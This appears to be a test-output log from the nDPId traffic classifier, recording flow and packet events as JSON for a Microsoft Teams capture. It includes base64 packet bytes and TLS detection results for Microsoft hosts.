+00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1587041679280,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1587041679280,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1587041682420,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.77.33","dst_ip":"192.168.1.6","src_port":443,"dst_port":60543,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":420333,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8cKZAAGwGWtQ0ck0hwKgBBgG77H8VHmMl9rF6B6ASIAAZOgAAAgQFoAEDAwgEAggKYQa0RDCEroA="} +00425{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1154,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":420448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex\/Abv2sXoHFR5jJoAQEAlXvgAAAQEICjCErqxhBrRE"} +00707{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1155,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":420739,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"EBMx8Tl2KDc3AG3ICABFAAECAABAAEAG9rTAqAEGNHJNIex\/Abv2sXoHFR5jJoAYEAmOxwAAAQEICjCErqxhBrREFgMBAMkBAADFAwMlzpQNXKnJso0lmbQsWQ9QP0JUtMkYTF2ySEjqwct4CiA\/IwAA6KEdJo41XGChq4nIXjJi3Ldaf94\/c7z6UnyyFQAewC\/AK8AwwCzMqcyowAnAE8AKwBQAnACdAC8ANQAKAQAAXv8BAAEAAAAAIwAhAAAebW9iaWxlLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEACwACAQAACgAIAAYAHQAXABg="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1155,"source":"teams.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":3,"flow_first_seen":1587041682420,"flow_last_seen":1587041682420,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":32,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":103,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.77.33","dst_ip":"192.168.1.6","src_port":443,"dst_port":60543,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1156,"source":"teams.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1587041682423,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.76.48","dst_ip":"192.168.1.6","src_port":443,"dst_port":60544,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1156,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":423316,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0HMFAAGwGr7I0ckwwwKgBBgG77ICUvjjErrIu7YAS\/\/+TZQAAAgQFoAEDAwgBAQQC"} +00409{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1157,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":423394,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG+H\/AqAEGNHJMMOyAAbuusi7tlL44xVAQIAC0JAAA"} +00729{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1158,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":423900,"pkt_caplen":290,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":290,"pkt_l4_len":256,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEUAABAAEAG95PAqAEGNHJMMOyAAbuusi7tlL44xVAYIABbPwAAFgMBAOcBAADjAwOLjruZZJmwp+AQ5ixl8mdC3oKgE\/9DUAxdN3dPhROtcwAAHCoqzKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACe+voAAP8BAAEAAAAAMgAwAAAtbm9ydGhldXJvcGUubm90aWZpY2F0aW9ucy50ZWFtcy5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIysoAHQAXABgAGwADAgACWloAAQA="} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1158,"source":"teams.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":3,"flow_first_seen":1587041682423,"flow_last_seen":1587041682423,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":20,"flow_max_l4_data_len":256,"flow_avg_l4_data_len":102,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.76.48","dst_ip":"192.168.1.6","src_port":443,"dst_port":60544,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"northeurope.notifications.teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00781{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1159,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":440956,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzES9AAEARZ+LAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAHT\/ICoAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +02368{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1160,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":467714,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHMNAAGwGqhA0ckwwwKgBBgG77ICUvj5xrrIv2VAQCAS9XwAAx23sJOl22cozxfimMAsGA1UdDwQEAwIEsDBJBgNVHREEQjBAgiMqLm5vdGlmaWNhdGlvbnMudGVhbXMubWljcm9zb2Z0LmNvbYIZKi5ub3RpZmljYXRpb25zLnNreXBlLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAaMoTg\/CrkXvH3jnb1h9ibtDE5NT9WRyEmtWPdlMgqhbXA+eyQkb6BYaT\/ta0E\/bOL5hM07pSBrD5uauHzlX4vs6BmFI3X35rS4lnHgq3cUKdaq3M5dfcGtIoKERK4KHEXYdDhAF8RY9DfZJta8j9hj4NqjvMcG7hzkZJWkwVjeh7J49fLI2k+ojmtb1lfRr9wT7N317pl9QMlUj3HrapDo2fvCe\/9jktj3lbttPHLsuaLesAF3dE1wm5y4UOzoiawZGA4Fu5fMnwFxWfpzZRwMq0O\/xKMAg5RkinWwDyzGDnwCbl\/c52s299ZBhbtM6yURpSqq0aQFxtyQoGGDw\/qhMEVa25dds5d0iBdM6KFgBsOhenjJcJxMzPvvOPmkJltWXhqnxSJWsJkaqh7zSNoA5U1JZzOXFYRt3uw3OVIBSfQ21T75pEiBJReA5mMtRoJjyJYo4d7ViJlpWq6D+qmTq9MD3A+u3+2YaocGXunqdlchKzuckM3C3Mck\/119eusSb9+YO\/2kHgBIQsNEyRtMbVXs6aJDUwnxYYIGRAPR16yCXImFMfJYah5q6a0OgPBMYG1cJ5tHN0+DQkL0jj0N6DmBrUSDSDele8PSh59PdIzO8wgJ\/BtAAk1rmVDiVhBV4spP7GSKWzbAS3cC\/0tn2xGj\/VdVxgHiGox4WbcNAABbgwggW0MIIEnKADAgECAhAIuHpQG76c2i0WTT45Ub9VMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MTI4WhcNMjQwNTIwMTI1MTI4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCO8\/GEdXe8vsmk9RalUytQYJnc2H3ZJLXhckk3SP7ahpOjfR2aSxBNd3l+Zal8bjbiR9Q2SdDMJAInFOKucc3ZV3Q8EFYZkkqHYvnjkI1e3tFBGxqmH0CiLB6OVdcm2GhCq+wN3t1eYZWzrGyBzqjgra9fyqbkUWguJ\/1UKnGkzLt+kvH2U1EFMdAZgrDKY9DySgALzfRpS\/Ra"} +02360{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1161,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":467743,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHMJAAGwGqhE0ckwwwKgBBgG77ICUvjjFrrIv2VAQCARrYQAAFgMDF7gCAABeAwNemFWSM6lG7UcIyFTu+ZAqpmou+1b9cSMUroQIXKhIYCB8QwAA2ApmCUiPkE7sFwGKZX+v4TYcZTXmXturaOIeDMAwAAAWAAUAAAAQAAUAAwJoMgAXAAD\/AQABAAsADrIADq8ACPEwggjtMIIG1aADAgECAhN7AAGtxR5ngEfSKjQjAAAAAa3FMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0xODA1MTQyMjQzMDlaFw0yMDA1MTQyMjQzMDlaMC4xLDAqBgNVBAMMIyoubm90aWZpY2F0aW9ucy50ZWFtcy5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuhBGUsVZpQSij1FrZ7UA10MFYiBlB5qoAYVuQvi8fG6euixViIn3J51NZJYhGR9o9SjpExVF2F2DFovz9yE2Ia\/Js6elboqU3tszl2KyanJJeYoaK16pdijTSVQFhN4OdbERR3KA2WROPO8wQk5QxhwLnXHsi9CWFTyGcRk+vPFwlw5KqW\/M10uCMZmhSG7qvFaAxU3WMhxRZoulvHCtLsLixgdLwHdgneRl6nZt63WXT6bo3+kmkw\/xmDwfJ7D6TraPEOZ2o0yk5oxtTbOwZJn7SB0bf3p9QQt1xurYAgml4fxfJApv2JqBVXOI\/jmUvTQYhdO3HrtSogk83Ok1TQIDAQABo4IEpDCCBKAwggH2BgorBgEEAdZ5AgQCBIIB5gSCAeIB4AB2ALvZ37wfinG1k5Qjl6qSe0c4V5UKq1LoGpCWZDaOHtGFAAABY2DbozwAAAQDAEcwRQIhAL7yA+kvf6VyrXY9vRgMDH0C7\/Io8PJ\/yV1QUmCPOwVMAiBP29xDfTKiXeL\/1YyqeVregr5YN5oWtRBikBVJd3jVKwB3ALIeBcyLos2KIE6HZvkruYolIGdr2vpw57JJUy3vi5BeAAABY2Dbo1MAAAQDAEgwRgIhAN0fi4bS99twLR1xFEbYoEf1bxKtPOSefKqtncETvlpWAiEA6RdOI\/5bz9mmM0V4jVAIKSzQNqshYo8T7WxtiLn0NBEAdgDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuy+zAAAAWNg26TrAAAEAwBHMEUCIDw9PjnuwJTBQuMPh48Xf9EW3r7JbJn71l0K1\/daUahFAiEAgGQAyryExjVwDZyDMNzwvajRi+xQMrmc2fF++zZqi7sAdQBvU3asMfAxGdiZAKRRFf93FRwR2QLBACkGjbIImjfZEwAAAWNg26eaAAAEAwBGMEQCICcGgSBGxMNucL7euSSv6ARrwjTQ8vyMwA5w1wb5qCDvAiBmX3aytg2JYDJ3fuGlFzcm5ghqLXlUCo2l8o4CFVrFOjAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2E0t9CgueTegIBZAIBHTCBhQYIKwYBBQUHAQEEeTB3MFEGCCsGAQUFBzAChkVodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcnQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLm1zb2NzcC5jb20wHQYDVR0OBBYEFIpXMi3QH62h"} +00425{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1162,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":467813,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+HPAqAEGNHJMMOyAAbuusi\/ZlL44xYAQIADRFQAAAQEFCpS+PnGUvkQd"} +00410{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1163,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":467829,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG+H\/AqAEGNHJMMOyAAbuusi\/ZlL5EHVAQH6WoOwAA"} +00410{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1164,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":467875,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG+H\/AqAEGNHJMMOyAAbuusi\/ZlL5EHVAQIACn4AAA"} +02381{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1165,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":467929,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHMRAAGwGqg80ckwwwKgBBgG77ICUvkQdrrIv2VAQCAQruwAAllY5JsmdSwpjNDKApQTl6ii3wQDAbRrwKNRKj4CscxnY9RYvra4Il2IGLP7npfCtQVN\/jSsxwxRzId3jeGOcUYa1okhJwHkIFUMAK5m4S+DHVwdsxLmmVC0BU\/Kj8qTM2cFU84jN5EwT04ozIVitGL++OYFwOWk3+FukY+8JB9+HGmLHmgjF0R1eYnYB3WnmOLtEsC1NOsYugOBgclvyzOaOXDohHl2wOSu96hPLlsu2anSMjrwOEJ8bpUBBj5FcdqcO8ao6h7cMd99xai8oYUItkA9yBatn4MF7y5xAmsQKCESMfD26qQ4esdkivR9fQWpzVPZm4qD5pjne0nfzaQS\/t7s8xJP\/cgQctTadaH\/f+jlPsvaPuRz\/re0OFQjjhnzySEl3lxb2\/QD2T6Zeb+c5wFFlPeuxlzDs6p5z\/B4soN+Lz3NftQ4GQhcmlezYqSfQ0GWUXOI\/yigppSD0yN1dtP\/m3QIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBADCaxp1q\/e+TCAy+gnf5dqBtnnswI3uoKVr0aj7HCwyW37hLUuQNnDjteGO1c8AcHzvgp\/9\/SVGVMrjQm6nlz5YDgYDVSmEY\/sRqxt9\/QUYinIBm6w9CoOTzpCGjmNB6dPaM6MPSK6orzhFZGUTnXAcJQuvX\/RVNuW9sRDUmh7qjO2iwgecgyX8TAvPMq58clVDLrmSAu4cKXc6ma7J94z024ilRtyX80AnjsK3EYi4+foUmsvav920xc8YZmKlykwLOygs9POzZcOiA9RareGqHTcaBN6gKdoEGqO8XYHxwEBM8ONczTOQ3ZQj7kbPoFnZhKmX1WJSzRQHvwE8De7gWAAcrAQAHJzCCByMKAQCgggccMIIHGAYJKwYBBQUHMAEBBIIHCTCCBwUwgceiFgQU9kInIFSIlBnF7lkM4zZm22FFWzAYDzIwMjAwNDEzMTkyOTI4WjCBmzCBmDBMMAkGBSsOAwIaBQAEFE8LW9m32q+ftvNjciJ21uGVriYpBBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fQITewABrcUeZ4BH0io0IwAAAAGtxYAAGA8yMDIwMDQxMzE5MjkyOFqgERgPMjAyMDA0MTcxOTI5MjhaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTQxOTI5MjhaMA0GCSqGSIb3DQEBCwUAA4IBAQAmz9ZvF3CIuw\/+oTN5NSzh+y5sIp+g5+Kodu0tkCZ1\/Fizx3wZwruEMYfwQFufGhQNWp8YYem\/8VFzY64Oxcb1PCmvzlydMq58lQhFy86lBpGufLM9p9r76iKaMMLhpWx4lBYPJNyQFcE+1ih8h0qTk7V4YjRx\/Kzou\/Pd15cMjwgwrpB7hibf5VjTJU5vJto8XFqgBjId2\/kwp\/N7SQYRpWDGiX\/rMxToJmduH978sRpintcRGeQzHuCepzF4phR9iQf7M6cbAS+fsAX5i+ZeJnpudQZSDnN92pR51awK"} +02366{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1166,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":468053,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHMVAAGwGqg40ckwwwKgBBgG77ICUvknJrrIv2VAQCATJWAAAn8ExSaOymFEybtqWEmFRwQUO8L3SCEL+ZMG8LT8PGXDPoIIFIzCCBR8wggUbMIIDA6ADAgECAhNhABK1vVbJe1vazzKFAAAAErW9MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0yMDAzMTUxNTQxMjNaFw0yMTAzMTUxNTQxMjNaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfMV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm9PunaNFnz92aO8d4uH\/JCreP9UtdnH6Bv3+BjNMnU24H982v4wslFnOHRkeShM6dTut2u5yX3USK4TkHudmdpKCKlumoSspYbuV23UEmjEltXDdzSNYmzvQDOeZo9DyTtm0W9OcExDRacHKdHUSDCgp3idEbMLCXgoMPdcvciqUfRxxhpKEhzK6GRoNAmVI08HM6jLw+02rMYbuyQPnLJfaPIm6evkoCU6o9RORAng09ayQuSk72b1zEpJKOvFaK23Mnnwwb4jg93GQDHKSDRfL0BdvvWgSpMuv5U2HffFgVxCm1wKQl69Wj36qXQLZ2+wxv0swlG5nuGABQ6me1wIDAQABo4HWMIHTMB0GA1UdDgQWBBT2QicgVIiUGcXuWQzjNmbbYUVbMDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAZjmdhpwvUwne4YtRiQs3dOLK5ba63GxG4DhqLLccO6A\/Gu5C1WAliMVEL8laAmZT5rjg7rZU63ADlU6i5dqMR9d65Gu\/P9sbyDYjevTB8j4VU8zV1e45gmS1fnTxH\/L14iqqM3+BWmprexDyUCWsXRJxp70y2N2YVZOquaqZFIwT4zprb8MBujdP7iFkk8soOpf\/l5U+mse\/W63G1wria\/aCHeEKWVe5F2v21NaIvfUgT9wStvUyhVk\/6WDBFypCre8c05o6zB2kA3b8eGeE56uGm26VL14MWExRNwnneVTysASyklJztTJjKIJiCZ7UsldbRUSdIVZyB+rsUuFxEs2yfP+8euVoeKkH9FEh8fTVfqGv3pafupuN0u\/\/dLN4soa06DNvTDUQWkRRbO6el56U4uvdsc3yBYOUpCEfZdmlCUuiesiTGTZKjg6Pel9E6aM1lPKUoFEgORCSp0t9xzpsHahiQos2LCym9Pi5bAvWTLeT65NzwDYJWd9xkcPSHaqNaXxrfEmnDhHqFEHA0H5fZSslXa7f\/DeJ3nBxZ+H4M2s+WWZ1FXymQaVNiFwcz61dh2ni95gdfAdhA51nQgJKXcgCvW0sx8AMX+76lmXRTxCdRB3NUS9Zk+plCHydbLwht6fHuAcJFjDcQTuMBm+4m9NXfOoK2aCNAEf7l1IMAAFpAwAYYQRwTmaIddjJM5+xyjTotSur9rpyRXMDrEXdXsKrSKTLUpFySo3jAnVTqsYHzcEPE3ccmMEO69SKrqejxqr6DTlqJEH3DC\/efe4pultp6D2eoDruPIPLr4MM\/voQ"} +00779{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1167,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":468055,"pkt_caplen":323,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":323,"pkt_l4_len":289,"pkt":"KDc3AG3IEBMx8Tl2CABFAAE1HMZAAGwGrqw0ckwwwKgBBgG77ICUvk91rrIv2VAYCASqlQAAlHY0M7sEAQEAG+Wv\/A8XDfKVCa5q38wMMmGRqM0DGXbOCv+pOYZNP0Csd4WnCZ5Hr4PhlQBnSommCohBf1FaXmcYdjw1bNCz6ewtqZUBo20KTT6jEffQMwyJAJZ2iCcrwEnUfRZ6KNFmygANoAR5JuySrXa0RCvvNUU2YBbSCIrDzUWWaOGt\/R2T+3sky0mSva1H2cAMmkXauZKns3\/oot1AEkP89jHgwMTvZIZE91DBv+8iZd0UEeVeQK31SVt4N57dEKcTERlBzBUvjXluqCj462Q\/7+UvgxAaXlE0uYqXla6U0VbAFQF\/TRPmg7UH2v3JrGnuhAllo2U\/OFkN\/PN1OXVAkmRJ3Q4AAAA="} 